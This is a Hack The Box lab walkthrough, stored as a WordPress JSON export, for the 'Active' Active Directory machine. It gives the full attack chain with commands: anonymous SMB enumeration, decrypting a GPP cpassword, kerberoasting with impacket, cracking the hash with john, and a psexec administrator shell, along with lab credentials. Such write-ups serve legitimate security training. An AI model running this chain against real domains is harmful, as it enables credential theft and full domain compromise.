{"id":38,"date":"2020-11-02T23:37:20","date_gmt":"2020-11-02T23:37:20","guid":{"rendered":"http:\/\/dextersec.xyz\/?p=38"},"modified":"2020-11-20T14:00:51","modified_gmt":"2020-11-20T14:00:51","slug":"active-directory-101-active","status":"publish","type":"post","link":"https:\/\/dextersec.xyz\/?p=38","title":{"rendered":"Active Directory 101: Active"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>Introduction<\/strong><\/h2>\n\n\n\n<p>For my first machine in the Hackthebox Active Directory 101 track, I\u2019ll be pwning Active. Active is an active directory machine that teaches the basics of <a href=\"https:\/\/adsecurity.org\/?p=2362\">GPP attacks <\/a>and <a href=\"https:\/\/adsecurity.org\/?p=2293\">kerberoasting<\/a>. The attack path to domain admin was quite straightforward following a brief introduction to AD hacking by TCM, for this box, initial access was gained via a poorly configured SMB share containing a windows group policy preference configuration file (groups.xml), then kereberoasting was leveraged to escalate privileges.<\/p>\n\n\n\n<!--more-->\n\n\n\n<p><strong>Reconnaissance<\/strong><\/p>\n\n\n\n<p>I ran a simple nmap scan with the command: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sV -sC 10.10.10.100 -oN active_scan<\/code><\/pre>\n\n\n\n<p>sV \u2013 Specifies the service version for each port<\/p>\n\n\n\n<p>sC \u2013 Specifies that nmap nse scripts should be run on each discovered port<\/p>\n\n\n\n<p>oN \u2013 Specifies the format the scan result is saved in, here we use the nmap format<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-41\" width=\"737\" height=\"425\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-1.png 1025w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-1-300x173.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-1-768x443.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-1-210x121.png 210w\" sizes=\"(max-width: 737px) 100vw, 737px\" \/><figcaption>Figure 1: Nmap Scan Output<\/figcaption><\/figure>\n\n\n\n<p>From the Nmap scan above we can gather the following:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>Port 53 indicates that DNS is running on this machine<\/li><li>Port 88 is running the Kerberos authentication service<\/li><li>Ports 389 &amp; 3628 have LDAP running<\/li><li>The host scripts reveal that SMBv2 is running on port 445<\/li><li>The host is a Domain Controller<\/li><li>LDAP provides us with the domain name active.htb<\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Enumeration<\/strong><\/h2>\n\n\n\n<p>In enumerating this box the easiest attack vector would be through SMB, But before dive in we need to update our <strong>\/etc\/hosts<\/strong> file with the domain name gathered during reconnaissance.<\/p>\n\n\n\n<p>First, run the command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nano \/etc\/hosts<\/code><\/pre>\n\n\n\n<p>Update the host file, then save changes.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-2.png\" alt=\"\" class=\"wp-image-67\" width=\"642\" height=\"180\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-2.png 602w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-2-300x84.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-2-210x59.png 210w\" sizes=\"(max-width: 642px) 100vw, 642px\" \/><figcaption>Figure 2: Shows the mapping of IP address 10.10.10.100 to the domain name active.htb<\/figcaption><\/figure><\/div>\n\n\n\n<p>smbmap, can be used to determine what shares we have anonymous read\/write access to;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>smbmap -H active.htb<\/code><\/pre>\n\n\n\n<p><strong>-H: takes in the domain name as an argument<\/strong><\/p>\n\n\n\n<p>we get the following results.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-3.png\" alt=\"\" class=\"wp-image-69\" width=\"616\" height=\"130\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-3.png 602w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-3-300x63.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-3-210x44.png 210w\" sizes=\"(max-width: 616px) 100vw, 616px\" \/><figcaption>Figure 3: Shows the shares and their respective permissions<\/figcaption><\/figure><\/div>\n\n\n\n<p>Admin$, C$. IPC$, NETLOGON, SYSVOL and Users are usual windows shares, the Replications share stands out and provides us with a read only permission.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Intermission: In a real word penetration test, you want to take a peek at the SYSVOL share. SYSVOL often contains group policy preference configuration files from which cpassword hashes can be obtained and decrypted.  \n<\/code><\/pre>\n\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p><em>Check out <\/em><a href=\"https:\/\/adsecurity.org\/?p=2288\" target=\"_blank\" rel=\"noreferrer noopener\"><em>https:\/\/adsecurity.org\/?p=2288<\/em><\/a><em> for further details.<\/em><\/p>\n<\/div><\/div>\n\n\n\n<p>Now that we have read permission to the replication share, lets login anonymously with smbclient using the password <strong>anonymous.<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>smbclient  \/\/active.htb\/Replication<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"612\" height=\"145\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-6.png\" alt=\"\" class=\"wp-image-79\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-6.png 612w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-6-300x71.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-6-210x50.png 210w\" sizes=\"(max-width: 612px) 100vw, 612px\" \/><figcaption><em>Figure 4: Shows successful login to the replication share<\/em><\/figcaption><\/figure>\n\n\n\n<p>A quick and easy way to find interesting files within the replication share would be to recursively download all the files it contains to our local machine.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>RECUSRE ON\nPROMPT OFF\nmget *<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"192\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-7-1024x192.png\" alt=\"\" class=\"wp-image-80\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-7-1024x192.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-7-300x56.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-7-768x144.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-7-210x39.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-7.png 1338w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 5: using mget * intiates the download of all contents contained in the replication share.<\/figcaption><\/figure>\n\n\n\n<p>From enumerating the SMB share, We can see a groups.xml file, this group policy preference configuration file contains a cpassword which can be decrypted to gain initial access to the host.<\/p>\n\n\n\n<p>First we copy out the cpassword in our groups.xml file then use an inbuilt kali tool called gpp-decrypt to obtain a clear text password.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat groups.xml<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"82\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-8-1024x82.png\" alt=\"\" class=\"wp-image-81\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-8-1024x82.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-8-300x24.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-8-768x62.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-8-210x17.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-8.png 1073w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 6: Shows contents of the group.xml configuration file<\/figcaption><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>gpp-decrypt &lt;cpassword><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1034\" height=\"45\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-11-edited.png\" alt=\"\" class=\"wp-image-87\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-11-edited.png 1034w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-11-edited-300x13.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-11-edited-1024x45.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-11-edited-768x33.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-11-edited-210x9.png 210w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 7: Decrypting the cpassword with gpp-decrypt<\/figcaption><\/figure>\n\n\n\n<p>Now we have a cleartext password for the user SVC_TGS<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GPPstillStandingStrong2k18<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Initial Access<\/strong><\/h2>\n\n\n\n<p>The next step in pwning this box would be to establish initial foothold, to achieve this, we\u2019ll go ahead and logon to our target machine using the credentials found earlier for the domain user SVC_TGS via SMB.<\/p>\n\n\n\n<p>Login to the users share and grab the user flag.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>smbclient -U SVC_TGS -W active.htb \/\/active.htb\/Users<\/code><\/pre>\n\n\n\n<p><strong>-U Specifies the username<br>-W Specifies the domain<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"857\" height=\"206\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-12.png\" alt=\"\" class=\"wp-image-88\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-12.png 857w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-12-300x72.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-12-768x185.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-12-210x50.png 210w\" sizes=\"(max-width: 857px) 100vw, 857px\" \/><figcaption>Figure 8: Logging onto the User SMB share <\/figcaption><\/figure>\n\n\n\n<p>Navigate to the directory containing the user flag.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd  SVC_TGS\/Desktop<\/code><\/pre>\n\n\n\n<p>Download the user.txt file to your local machine and view the contents of the flag.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mget user.txt<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>cat user.txt<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-13.png\" alt=\"\" class=\"wp-image-89\" width=\"713\" height=\"74\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-13.png 560w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-13-300x31.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-13-210x22.png 210w\" sizes=\"(max-width: 713px) 100vw, 713px\" \/><figcaption>Figure 9: Content of the user flag<\/figcaption><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Privilege Escalation<\/strong><\/h2>\n\n\n\n<p>Since we are working with windows active directory we can leverage on a technique called kereberoasting to escalate our privileges. We do this by abusing a windows AD feature that allows authenticated users with a valid ticket granting ticket requesting for one or more ticket-granting service (TGS) service tickets for any Service Principal Name (SPN) from a domain controller to grab the hash of the service account associated with the SPN. The GetUserSPNs binary from Metasploit framework or impacket suite is the tool of choice for this step. For this write up I\u2019ll be covering you the impacket method.<\/p>\n\n\n\n<p>If you don\u2019t have impacket installed simply run the command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>apt-get install python3-impacket<\/code><\/pre>\n\n\n\n<p><strong>Optional:<\/strong><\/p>\n\n\n\n<p>Once we have the impacket suite installed, we could add it to our path. This enables us run impacket binaries from any location within our terminal.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo $PATH\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>export PATH=$PATH:\/usr\/share\/doc\/python3-impacket\/examples<\/code><\/pre>\n\n\n\n<p>Also, before running the GetUserSPNs Impacket binary, install ntpdate and synchronize your attacking machine&#8217;s time with the Domain Controller to avoid time synchronization errors during kerberoasting.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>apt-get install ntpdate<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>ntpdate &lt;domain controller IP address><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-14.png\" alt=\"\" class=\"wp-image-90\" width=\"715\" height=\"40\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-14.png 695w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-14-300x17.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-14-210x12.png 210w\" sizes=\"(max-width: 715px) 100vw, 715px\" \/><figcaption>Figure 10: Synchronizing our time zone with the domain controller&#8217;s<\/figcaption><\/figure>\n\n\n\n<p>Next, run the command below to steal the administrator\u2019s hash from the TGS ticket.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 GetUserSPNs.py active.htb\/SVC_TGS:GPPStillStandingStrong2k18 -dc-ip 10.10.10.100 -request<\/code><\/pre>\n\n\n\n<p>Target: domain\/username:password<br>-dc-ip \u2013 Specifies the IP address of the target Domain controller<br>-request &#8211; Fetches TGS for users in John the ripper\/hashcat format<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"271\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-15-1024x271.png\" alt=\"\" class=\"wp-image-91\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-15-1024x271.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-15-300x79.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-15-768x203.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-15-210x56.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-15.png 1337w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 11: We get back the hash of the Administrator from the TGS Ticket<\/figcaption><\/figure>\n\n\n\n<p>We can run an offline brute force attack on the encrypted portion of the TGS ticket to reveal the service account password. Therefore, if the administrator is using a weak password, cracking should be pretty easy.<\/p>\n\n\n\n<p>Save the captured hash into a file and crack it with john the ripper;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>john \u2013wordlist=\/usr\/share\/wordlists\/rockyou.txt admin_hashes.txt<\/code><\/pre>\n\n\n\n<p>&#8211;wordlist \u2013 specifies the wordlist to be used in bruteforcing the hash<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"901\" height=\"143\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-16.png\" alt=\"\" class=\"wp-image-92\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-16.png 901w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-16-300x48.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-16-768x122.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-16-210x33.png 210w\" sizes=\"(max-width: 901px) 100vw, 901px\" \/><figcaption>Figure 12: We successfully cracked the administrator\u2019s password using john!<\/figcaption><\/figure>\n\n\n\n<p>Finally we can go ahead to spawn a shell on target machine using the cracked credentials for the domain user \u201cAdministrator\u201d, the psexec module from metasploit framework or impacket suite is the tool of choice for this step. For this write up I\u2019ll be covering you the impacket method.<\/p>\n\n\n\n<p>Run psexecy.py to gain access to the domain controller as an administrator and grab the root flag.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 psexec.py active.htb\/Administrator:Ticketmaster1968@active.htb<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"767\" height=\"261\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-17.png\" alt=\"\" class=\"wp-image-93\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-17.png 767w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-17-300x102.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-17-210x71.png 210w\" sizes=\"(max-width: 767px) 100vw, 767px\" \/><figcaption>Figure 13: psexec.py gives us a shell by uploading and executing a malicious binary on the target machine<\/figcaption><\/figure>\n\n\n\n<p>Boom! Our privilege has been escalated and we have administrative rights to resources on the domain controller.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction For my first machine in the Hackthebox Active Directory 101 track, I\u2019ll be pwning Active. Active is an active directory machine that teaches the basics of GPP attacks and kerberoasting. The attack path to domain admin was quite straightforward following a brief introduction to AD hacking by TCM, for this box, initial access was [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":42,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,9],"tags":[4,5,3,6,7],"class_list":["post-38","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-active-directory-101","category-walkthroughs","tag-active-directory","tag-hacking","tag-hackthebox","tag-kerberoasting","tag-writeup"],"_links":{"self":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/38"}],"collection":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=38"}],"version-history":[{"count":9,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/38\/revisions"}],"predecessor-version":[{"id":227,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/38\/revisions\/227"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/media\/42"}],"wp:attachment":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=38"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=38"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=38"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}